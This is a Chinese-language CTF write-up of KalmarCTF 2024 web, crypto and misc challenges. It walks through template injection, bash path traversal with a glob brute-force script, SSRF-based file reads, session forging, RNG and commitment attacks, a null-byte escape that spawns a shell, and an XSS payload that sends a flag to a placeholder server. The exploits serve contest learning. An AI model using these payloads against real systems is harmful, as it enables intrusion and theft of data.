KalmarCTF 2024 WriteUps

發表於
分類於 CTF

和 ${cystick} 打了這場比賽,主要解了幾題 web/crypto/misc 而已。

Web

Ez ⛳ v2

這題就個 caddy server:

(sec_headers) {
    root * /
    header {
        Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
        Strict-Transport-Security "max-age=31536000"
        X-XSS-Protection 0
        X-Content-Type-Options nosniff
        X-Frame-Options DENY
        Referrer-Policy "no-referrer"
    }
}

(html_reply) {
    import sec_headers
    header Content-Type text/html
    templates
    respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}

(json_reply) {
    templates {
        # By default placeholders are not replaced for json
        mime application/json
    }
    header Content-Type application/json
    respond "{args[0]}"
}

(http_reply) {
    tls internal {
        alpn "{args[0]}"
    }
    map {args[0]} {proto_name} {
        http/1.1 HTTP/1.1
        h2 HTTP/2.0
        h3 HTTP/3.0
    }
    @correctALPN `{http.request.proto} == {proto_name}`
    respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
    import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}

(tls_reply) {
    tls internal {
        protocols {args[0]} {args[1]}
    }
    header Access-Control-Allow-Origin "*"
    import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}

mtls.caddy.chal-kalmarc.tf {
    tls internal {
        client_auth {
            mode require
        }
    }
    templates
    import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
    import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
    import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
    tls internal
    templates
    import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
    import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
    import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
    import http_reply h3
}

caddy.chal-kalmarc.tf {
    tls internal
    import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}

它 user-agent 可以注入 SSTI,因為它用了個 templates 的功能,所以讀一下文件可以知道它有讀取檔案列表和讀檔的功能,簡單就拿到 flag 了:

curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ listFiles "/" }}'
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ include "/CVGjuzCIVR99QNpJTLtBn9" }}'
# kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}

BadAss Server for Hypertext

沒給 code,但是從題目名稱和回傳的 header 可知它是用 bash 寫的,所以我猜有 path traveral:

> printf 'GET /assets/../../../../etc/passwd HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/plain
X-Powered-By: Bash
Content-Length: 839
Connection: close

root:x:0:0:root:/root:/bin/bash
...

/proc/1/cmdline 發現 code 在 /app/badass_server.sh:

#!/bin/bash

# I hope there are no bugs in this source code...

set -e

declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"

abort() {
        declare -gA response_headers
        status="400 Bad Request"
        write_headers
        if [ ! -z ${1+x} ]; then
                >&2 echo "Request aborted: $1"
                echo -en $1
        fi
        exit 1
}

write_headers() {
        response_headers['Connection']='close'
        response_headers['X-Powered-By']='Bash'

        echo -en "HTTP/1.0 $status\r\n"

        for key in "${!response_headers[@]}"; do
                echo -en "${key}: ${response_headers[$key]}\r\n"
        done

        echo -en '\r\n'

        >&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}

receive_request() {
        read -d $'\n' -a request_line

        if [ ${#request_line[@]} != 3 ]; then
                abort "Invalid request line"
        fi

        method=${request_line[0]}

        uri=${request_line[1]}

        protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')

        if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
                abort "Invalid request method"
        fi

        if [[ ! $uri =~ ^/ ]]; then
                abort 'Invalid URI'
        fi

        if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
                abort 'Invalid protocol'
        fi

        while read -d $'\n' header; do
                stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')

                if [ -z "$stripped_header" ]; then
                        break;
                fi

                header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
                header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');

                if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
                        abort "Invalid header name";
                fi

                # If header already exists, add value to comma separated list
                if [[ -v request_headers[$header_name] ]]; then
                        request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
                else
                        request_headers[$header_name]="$header_value"
                fi
        done

        body_length=${request_headers["content-length"]:-0}

        if [[ ! $body_length =~ ^[0-9]+$ ]]; then
                abort "Invalid Content-Length"
        fi

        read -N $body_length request_body
}

handle_request() {
        # Default: serve from static directory
        path="/app/static$uri"
        path_last_character=$(echo -n "$path" | tail -c 1)

        if [ "$path_last_character" == '/' ]; then
                path="${path}index.html"
        fi

        if ! cat "$path" > /dev/null; then
                status="404 Not Found"
        else
                mime_type=$(file --mime-type -b "$path")
                file_size=$(stat --printf="%s" "$path")

                response_headers["Content-Type"]="$mime_type"
                response_headers["Content-Length"]="$file_size"
        fi

        write_headers

        cat "$path" 2>&1
}

receive_request
handle_request

然後我用 shellcheck 檢查:

> shellcheck server.sh

In server.sh line 19:
        if [ ! -z ${1+x} ]; then
             ^-- SC2236 (style): Use -n instead of ! -z.


In server.sh line 21:
                echo -en $1
                         ^-- SC2086 (info): Double quote to prevent globbing and word splitting.

Did you mean:
                echo -en "$1"


In server.sh line 42:
        read -d $'\n' -a request_line
        ^--^ SC2162 (info): read without -r will mangle backslashes.


In server.sh line 62:
        if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
             ^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
                                            ^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.

Did you mean:
        if [ "$protocol" != 'HTTP/1.0' ] && [ "$protocol" != 'HTTP/1.1' ]; then


In server.sh line 66:
        while read -d $'\n' header; do
              ^--^ SC2162 (info): read without -r will mangle backslashes.


In server.sh line 94:
        read -N $body_length request_body
        ^--^ SC2162 (info): read without -r will mangle backslashes.
                ^----------^ SC2086 (info): Double quote to prevent globbing and word splitting.
                             ^----------^ SC2034 (warning): request_body appears unused. Verify use (or export if used externally).

Did you mean:
        read -N "$body_length" request_body

For more information:
  https://www.shellcheck.net/wiki/SC2034 -- request_body appears unused. Veri...
  https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ...
  https://www.shellcheck.net/wiki/SC2162 -- read without -r will mangle backs...

看起來最可疑的是 [ $protocol != 'HTTP/1.0' ],那邊因為沒 quote 所以如果變數中有空白 ($IFS) 的話會自動做 word splitting。所以那邊如果有 protocol='-f /path/to/file -a x' 的話就能判斷一個檔案是否存在,且那個檔案路徑是可以用 glob 的。

不過有個小問題是 $protocol 來自 $request_line[2],然後 $request_line 又來自 read -d $'\n' -a request_line,這代表它讀入一個字串後按空白切開成 array,因此 $protocol 就不能包含空白了?! 不過這其實也好解決,看 shellcheck 的輸出說它因為沒有 -r 所以會特別處理 \,做了一些測試發現說只要在空白前加上 \ 就行了,因此有這個結果:

> printf 'GET / -f\ /etc/passw?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 400 Bad Request
X-Powered-By: Bash
Connection: close

Invalid protocol

> printf 'GET / -f\ /etc/passx?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/html
X-Powered-By: Bash
Content-Length: 518
Connection: close

<!DOCTYPE html>
...

然後它首頁的 html 中有 assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt 之類的 path,所以花了一些時間後猜出 flag 放在 assets/unknown_hash/flag.txt 中,所以這邊就用 glob 去一個一個字元爆 hash 就出來了:

from pwn import remote, context
import string
from concurrent.futures import ThreadPoolExecutor


def guess(prefix):
    context.log_level = "error"
    io = remote("chal-kalmarc.tf", 8080)
    io.send(
        f"GET / -f\ /app/static/assets/{prefix}*/flag.txt\ -a\ x\r\n\r\n".encode()
    )
    return b"400 Bad Request" in io.recvall()


chrs = string.hexdigits
prefix = ""
while len(prefix) < 32:
    with ThreadPoolExecutor() as executor:
        futures = [executor.submit(guess, prefix + c) for c in chrs]
        for fut, c in zip(futures, chrs):
            if fut.result():
                prefix += c
                print(prefix)
                break
# printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
# kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}

最後還可以發現 hash 其實就是檔案的 md5:

> printf 'kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}' | md5sum
9df5256fe48859c91122cb92964dbd66  -

Is It Down

沒 code 的 SSRF 題,亂試發現可以用 redirect to file:// 去 LFR,然後用 procfs 找到 /etc/uwsgi/uwsgi-custom.ini,然後就找到 source code 了。

curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/app.py' | jq -r .content | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed "s/\\\\'/'/g"

app.py:

from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess, os

def protect_secrets():
    os.unlink("config.py")

def check_url(url):
    if not isinstance(url, str) or len(url) == 0:
        return False, "Please provide a regular url!"

    if not url.startswith("https://") or url.lstrip() != url:
        return False, "Url must start with 'https://'. We do not want anything insecure here!"

    return True, ""

app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key

print("Using key: ", app.secret_key)

protect_secrets()

@app.route('/', methods=['GET'])
def home():
    return send_from_directory('pages','index.html')

@app.route('/flag', methods=['GET'])
def healthcheck():
    if session.get("admin") == True:
        return subprocess.check_output("/readflag")
    else:
        return abort(403)

@app.route('/check', methods=['POST'])
def check():
    url = request.form.get("url")
    valid, err = check_url(url)

    if not valid:
        return {
          'success': False,
          'error': err
       }

    if True:
        content = fetch(url)
        return {
          'success': True,
          'online': content != None,
          'content': content
       }


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=10600, debug=False)

requestlib.py:

from urllib.request import urlopen, HTTPErrorProcessor, install_opener, build_opener, Request
import urllib

class NoRedirection(HTTPErrorProcessor):
    def http_response(self, request, response):
        return response

    https_response = http_response

install_opener(build_opener(NoRedirection()))

def fetch(url, follow_redirects = True):
    '''
    Avoid endless redirect loops
    '''
    headers = {
        "User-Agent": "requestlib 2.9-alpha"
    }
    req = Request(url, headers=headers)
    print("Url: ", url, follow_redirects, flush=True)
    with urlopen(req) as res:
        redirect_url = res.headers["Location"]
        if redirect_url and follow_redirects:
            return fetch(redirect_url, follow_redirects=False)

        return str(res.read())[2:-1]

讀一下可以知道目標是要 sign session,所以要知道 config.py 中的 secret key,但是那個檔案也已經被刪了,而它 print 的地方是寫到 output 去。可是這題的 uwsgi config 又沒有做 log to file:

[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 20
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages

後來在這邊卡了一段時間後才想到 import 的檔案有 pyc cache,依照版本 python 3.11 來說 config.py 應該 cache 在 __pycache__/config.cpython-311.pyc:

> curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc' | jq -r .content
\xa7\r\r\n\x00\x00\x00\x00:\xbe\xf5e;\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\x01\xda\x16session_encryption_key\xa9\x00\xf3\x00\x00\x00\x00\xfa*/var/www/keep-dreaming-sonny-boy/config.py\xfa\x08<module>r\x07\x00\x00\x00\x01\x00\x00\x00s\x11\x00\x00\x00\xf0\x03\x01\x01\x01\xd8\x19;\xd0\x00\x16\xd0\x00\x16\xd0\x00\x16r\x05\x00\x00\x00

我這邊用 pylingual.io 解 pyc: results

顯然 secret key 是 Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL,然後就可以 sign session 拿 flag:

> flask-unsign --secret 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y

> curl -s 'http://is-it-down.chal-kalmarc.tf/flag' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y'
kalmar{Rem3Mbr_T0_fl0sh!}

No eXcuSeS

這題的網站基本上一看就知道不能 XSS,而 bot.js 長這樣:

const puppeteer = require('puppeteer');

const FLAG = 'kalmar{this_is_a_test_flag!!}';
const HOST = "http://localhost:7357";

const sleep = ms => new Promise(r => setTimeout(r, ms));

async function visit(url) {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: "new",
            args: [
                "--no-sandbox",
                "--disable-dev-shm-usage",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
        });

        let page = await browser.newPage();
        await page.goto(HOST, { timeout: 1000, waitUntil: 'domcontentloaded' });

        await page.evaluate((flag) => {
            document.cookie = "flag=" + flag + "; path=/";
        }, FLAG);

        await page.close();
        page = await browser.newPage();


        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
        await sleep(2000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
}


module.exports = { visit };

app.js 呼叫它的地方是這麼做的:

app.post('/report', (req, res) => {
  const url = req.body.url;
  visit(url);

  res.send('Bot is visiting your url');
});

顯然它沒對 url 做任何檢查,所以不只有 http:, https: url 能用。

嘗試使用 javascript: url 的話它確實會嘗試執行,但是又會同時觸發 net::ERR_ABORTED 這個錯誤,導致進入 catch 後又進到 finally,所以 browser 就被關了。

想一下會發現還有個是 file: url 能用,例如 file:///app/bot.js 就會把上面的 bot.js 顯示在瀏覽器上。仔細想一下會發現既然能載入,如果有方法能透過 <script> 把它引入的話不就能 leak flag 了嗎?

雖然一般從 http: 或是 https: 的頁面是不能 embed file: 的資源,但是只要頁面本身也是 file: 的話就可以了,因此只要找個方法能在檔案系統上留下一個 html,裡面內容可控的方法就行。

Content-Disposition 的問題是一樣會得到 net::ERR_ABORTED,所以就改用 javascript + <a href="..." download="..."> 的方式就成功了:

<script type="module">
    const blob = new Blob([`
<script>
require = () => {}
module = {}
<\/script>
<script src="file:///app/bot.js"><\/script>
<script>
location = 'https://YOUR_SERVER/flag?flag=' + encodeURIComponent(FLAG)
<\/script>
`])
    const a = document.createElement('a')
    a.href = URL.createObjectURL(blob)
    a.download = 'peko.html'
    document.body.appendChild(a)
    a.click()
</script>

讓它瀏覽強制下載檔案,之後然後再瀏覽一次 file:///root/Downloads/peko.html 就能拿 flag: kalmar{wow_you_dont_need_excuses!-please_send_us_a_dm_with_your_solution!}

Crypto

Cracking The Casino

#!/usr/bin/python3 
from Pedersen_commitments import gen, commit, verify


# I want to host a trustworthy online casino! 
# To implement blackjack and craps in a trustworthy way i need verifiable dice and cards!
# I've used information theoretic commitments to prevent players from cheating.
# Can you audit these functionalities for me ?

from random import randint
# Verifiable Dice roll
def roll_dice(pk):
    roll = randint(1,6)
    comm, r = commit(pk,roll)
    return comm, roll, r

# verifies a dice roll
def check_dice(pk,comm,guess,r):
    res = verify(pk,comm, r, int(guess))
    return res

# verifiable random card:
def draw_card(pk):
    idx = randint(0,51)
    # clubs spades diamonds hearts
    suits = "CSDH"
    values = "234567890JQKA"
    value = values[idx%13]
    suit = suits[idx//13]
    card = value + suit
    comm, r = commit(pk, int(card.encode().hex(),16))
    return comm, card, r

# take a card (as two chars, fx 4S = 4 of spades) and verifies it was the committed card
def check_card(pk, comm, guess, r):
    res = verify(pk, comm, r, int(guess.encode().hex(),16))
    return res


# Debug testing values for larger values
def debug_test(pk):
    dbg = randint(0,2**32-2)
    comm, r = commit(pk,dbg)
    return comm, dbg, r

# verify debug values
def check_dbg(pk,comm,guess,r):
    res = verify(pk,comm, r, int(guess))
    return res


def audit():
    print("Welcome to my (beta test) Casino!")
    q,g,h = gen()
    pk = q,g,h
    print(f'public key for Pedersen Commitment Scheme is:\nq = {q}\ng = {g}\nh = {h}')
    chosen = input("what would you like to play?\n[D]ice\n[C]ards")
    
    if chosen.lower() == "d":
        game = roll_dice
        verif = check_dice
    elif chosen.lower() == "c":
        game = draw_card
        verif = check_card
    else:
        game = debug_test
        verif = check_dbg

    correct = 0
    # If you can guess the committed values more than i'd expect, then 
    for _ in range(1337):
        if correct == 100:
            print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
            with open("flag.txt","r") as f:
                flag = f.read()
            print(f"here's that flag you wanted, you earned it! {flag}")
            exit()

        comm, v, r = game(pk)
        print(f'Commitment: {comm}')
        g = input(f'Are you able to guess the value? [Y]es/[N]o')
        if g.lower() == "n":
            print(f'commited value was {v}')
            print(f'randomness used was {r}')
            print(f'verifies = {verif(pk,comm,v,r)}')
        elif g.lower() == "y":
            guess = input(f'whats your guess?')
            if verif(pk, comm, guess, r):
                correct += 1
                print("Oh wow! well done!")
            else:
                print("That's not right... Why are you wasting my time if you haven't broken anything?")
                exit()

    print(f'Guess my system is secure then! Lets go ahead with the launch!')
    exit()

if __name__ == "__main__":
    audit()

很簡單,randint 來自 random,用 debug_test leak 值出來解 MT19937 就行了:

from z3 import *
from z3mt import *
from random import randint, Random
from pwn import process, remote


def gen():
    return randint(0, 2**32 - 2)


def predict(outputs):
    state = [BitVec(f"state_{i}", 32) for i in range(N)]
    sol = Solver()
    for s, o in zip(mt_gen_sol(sol, state), outputs):
        sol.add(s == o)
    with timeit("z3 solving"):
        assert sol.check() == sat
    m = sol.model()
    state = [m.evaluate(s).as_long() for s in state]
    r = Random()
    r.setstate((3, tuple(state + [624]), None))
    for v in outputs:
        assert r.getrandbits(32) == v
    return r


# io = process(["python", "casino.py"])
io = remote("chal-kalmarc.tf", 9)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())

io.sendline(b"x")
io.sendline(b"n\n" * (N + 5))
outputs = []
for _ in range(N + 5):
    io.recvuntil(b"commited value was ")
    outputs.append(int(io.recvline().strip()))
print("received")
rand = predict(outputs)
rand.randint(0, 2**32 - 2)
for _ in range(100):
    io.sendline(b"y")
    io.sendline(str(rand.randint(0, 2**32 - 2)).encode())
io.interactive()
# Kalmar{First_Crypto_Down!}

Re-Cracking The Casino

server 程式的部分和前面差不多,diff:

10c10,11
< from random import randint
---
> # Thanks for the feedback, I'll use secure randomness then!
> from Crypto.Random.random import randint
53c54
<     print("Welcome to my (beta test) Casino!")
---
>     print("Welcome to my (Launch day!) Casino!")
70,73c71,75
<     # If you can guess the committed values more than i'd expect, then 
<     for _ in range(1337):
<         if correct == 100:
<             print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
---
>     
>     # Should be secure now :)
>     for _ in range(256):
>         if correct == 250:
>             print("Oh wow, you broke my casino again??!? That's impossible!")

就把 randint 修正後並提高了要求猜對的比例而已。然後 Perderson_commitments.py 和前面是一樣的:


from Crypto.Util.number import getStrongPrime
from Crypto.Random.random import randint

## Implementation of Pedersen Commitment Scheme
## Computationally binding, information theoreticly hiding

# Generate public key for Pedersen Commitments
def gen():
    q = getStrongPrime(1024)
    
    g = randint(1,q-1)
    s = randint(1,q-1)
    h = pow(g,s,q)

    return q,g,h

# Create Pedersen Commitment to message x
def commit(pk, m):
    q, g, h = pk
    r = randint(1,q-1)

    comm = pow(g,m,q) * pow(h,r,q)
    comm %= q

    return comm,r

# Verify Pedersen Commitment to message x, with randomness r
def verify(param, c, r, x):
    q, g, h = param
    if not (x > 1 and x < q):
        return False
    return c == (pow(g,x,q) * pow(h,r,q)) % q

可以看到它選 g 的時候沒限制說 g 一定是個 primt order subgroup 的 generator,所以有機會 leak 資訊。

我的方法是透過選 g,hg,h 符合:

g(q1)/21g(q1)/31h(q1)/2=1h(q1)/3=1\begin{aligned} g^{(q-1)/2} &\neq 1 \\ g^{(q-1)/3} &\neq 1 \\ h^{(q-1)/2} &= 1 \\ h^{(q-1)/3} &= 1 \end{aligned}

這樣收到 c=gmhrc=g^m h^r 的時候只要開個次方得到:

c(q1)/2=gm(q1)/2c(q1)/3=gm(q1)/3\begin{aligned} c^{(q-1)/2} = g^{m(q-1)/2} \\ c^{(q-1)/3} = g^{m(q-1)/3} \end{aligned}

而 dice 的選項中 mm 只有六種可能,因此這兩個就足夠定出 mm 了。不過實際上有個小問題是 verify 中它不接受 x=1x=1 (作者說是 bug),所以還要找方法處理。

我的方法就再給 gg 多個條件要求 p>1,g(q1)/p=1\exists p>1 \,, g^{(q-1)/p}=1 而已。

from pwn import process, remote, context
from Pedersen_commitments import commit
from Crypto.Util.number import sieve_base


def connect():
    # io = process(["python", "casino.py"])
    io = remote("casino-2.chal-kalmarc.tf", 13337)
    io.recvuntil(b"q = ")
    q = int(io.recvline().strip())
    io.recvuntil(b"g = ")
    g = int(io.recvline().strip())
    io.recvuntil(b"h = ")
    h = int(io.recvline().strip())
    return io, q, g, h


def find_one(q, g, h):
    # idk why but the remote refused to accept x = 1 at all
    # so we want to ensure g^((q-1) / x) = g for some x that is not 2 or 3
    for p in sieve_base:
        if p in (2, 3):
            continue
        if (q - 1) % p == 0 and pow(g, (q - 1) // p, q) == 1:
            return (q - 1) // p + 1


while True:
    io, q, g, h = connect()
    checks = [
        (q - 1) % 6 == 0,
        pow(g, (q - 1) // 2, q) != 1,
        pow(g, (q - 1) // 3, q) != 1,
        pow(h, (q - 1) // 2, q) == 1,
        pow(h, (q - 1) // 3, q) == 1,
    ]
    if all(checks):
        one = find_one(q, g, h)
        if one is not None:
            break
        print("checks passed but no one found")
    io.close()
pk = q, g, h
with open("pk", "w") as f:
    f.write(repr(pk))


def hc(c):
    return pow(c, (q - 1) // 2, q), pow(c, (q - 1) // 3, q)


tbl = {}
for m in range(1, 7):
    c, _ = commit(pk, m)
    tbl[hc(c)] = m
print(tbl)
for _ in range(10):
    for m in range(1, 7):
        c, _ = commit(pk, m)
        assert tbl[hc(c)] == m

context.log_level = "debug"
io.sendline(b"d")
for _ in range(250):
    io.recvuntil(b"Commitment: ")
    c = int(io.recvline().strip())
    m = tbl[hc(c)]
    if m == 1:  # qq
        m = one
    io.sendline(b"y")
    io.sendline(str(m).encode())
io.interactive()
# Kalmar{Why_call_it_strong_if_its_so_weak...}

Misc

Docstring Prison

server.py:

print('Can you help us write a docstring for our python code?\nPlease give us the docstring that you want, end with "END"')
docstring = ''
user_input = input('> ')

while user_input != "END":
   docstring += user_input + '\n'
   user_input = input('> ')

# Let's make sure the docstring is not terminated:
while '"""' in docstring:
    print('replace')
    docstring = docstring.replace('"""', '')

if len(docstring) > 100:
    print('Docstring too long')
    quit()

docstring = '"""\n' + docstring + '\n"""\n'
with open('code_to_comment.py', 'r') as rf:
    source = rf.read()

# Write new file
new_python_file = docstring + source

package_name = 'commented_code'
new_filename = package_name + '.py'
with open(new_filename, 'w') as wf:
    wf.write(new_python_file)

import os
os.system('python commented_code.py')

code_to_comment.py:

# Let's just make sure we don't run anything:
quit()

from flag import flag
print(flag)

這題還特別用了 python:3.11.3@sha256:3a619e3c96fd4c5fc5e1998fd4dcb1f1403eb90c4c6409c70d7e80b9468df7df 的 docker image。

總之這題難點在於要怎麼不用 """ 從 python 的 multi-line string 中脫離。我是自己亂試後發現出現 null byte \x00 時它會有奇怪的 syntax error,發現說有這個問題: mishandling of c-strings in parser

簡單來說 python 的 code 大致上是先用 line-delimiter 去切開然後每行都視為一個 C null-terminated string 處裡,所以說以下的 code 會輸出 123:

x = 'asd\0'
';print(123)#'

這邊的 \x00 要真的視為是一個 null byte 而不是字串中的 escape

所以它其實相當於 x = 'asd';print(123)#'

因此只要把 " 都換成 "\x00\n 就能繞過了:

import tokenize, io

# docstring = '\n"\x00\n"\x00\n"\nimport os;os.system(\'sh\')\n"\x00\n"\x00\n"'
docstring = '""";import os;os.system(\'sh\');"""'.replace('"', '"\x00\n')
assert '"""' not in docstring
with open("payload", "w") as f:
    f.write(docstring)
    # (cat payload; printf '\nEND\n'; cat) | nc chal-kalmarc.tf 8532
docstring = '"""\n' + docstring + '\n"""\n'
with open("code_to_comment.py", "r") as rf:
    source = rf.read()

new_python_file = docstring + source

with open("x.py", "w") as wf:
    wf.write(new_python_file)

Futuristic Secret Storage

Dockerfile:

FROM python:latest

RUN apt update && apt install -y socat

COPY flagwriter /flagwriter

EXPOSE 7223

CMD socat tcp-l:7223,reuseaddr,fork exec:"script -qc /flagwriter /dev/null"

/flagwriter:

#!/usr/bin/env python3
print("kalmar{this_is_a_test_flag}", file=open("/dev/null", 'w'))

這題就這樣而已,正常會感覺這根本不可能解。不過翻一下 script 的 man page 可以知道它會模擬 terminal 的行為,所以一些特殊的 control sequence 都會被解讀。

其中 \x03 對應到 Ctrl-C,也就是發送 SIGINT,這邊只要配合 race 就有機會讓它在 print 那行被中斷 (KeyboardInterrupt),然後 error 就會顯示出 flag 了:

while true; do (sleep 0.0001; printf '\x03\n') | nc futuristic_secret_storage.chal-kalmarc.tf 7223 & ; done

會出現這種錯誤:

    print("kalmar{who_knew_you_could_just_COPY_our_secrets...}", file=open("/dev/null", 'w'))
                                                                      ^^^^^^^^^^^^^^^^^^^^^^
  File "<frozen codecs>", line 186, in __init__
KeyboardInterrupt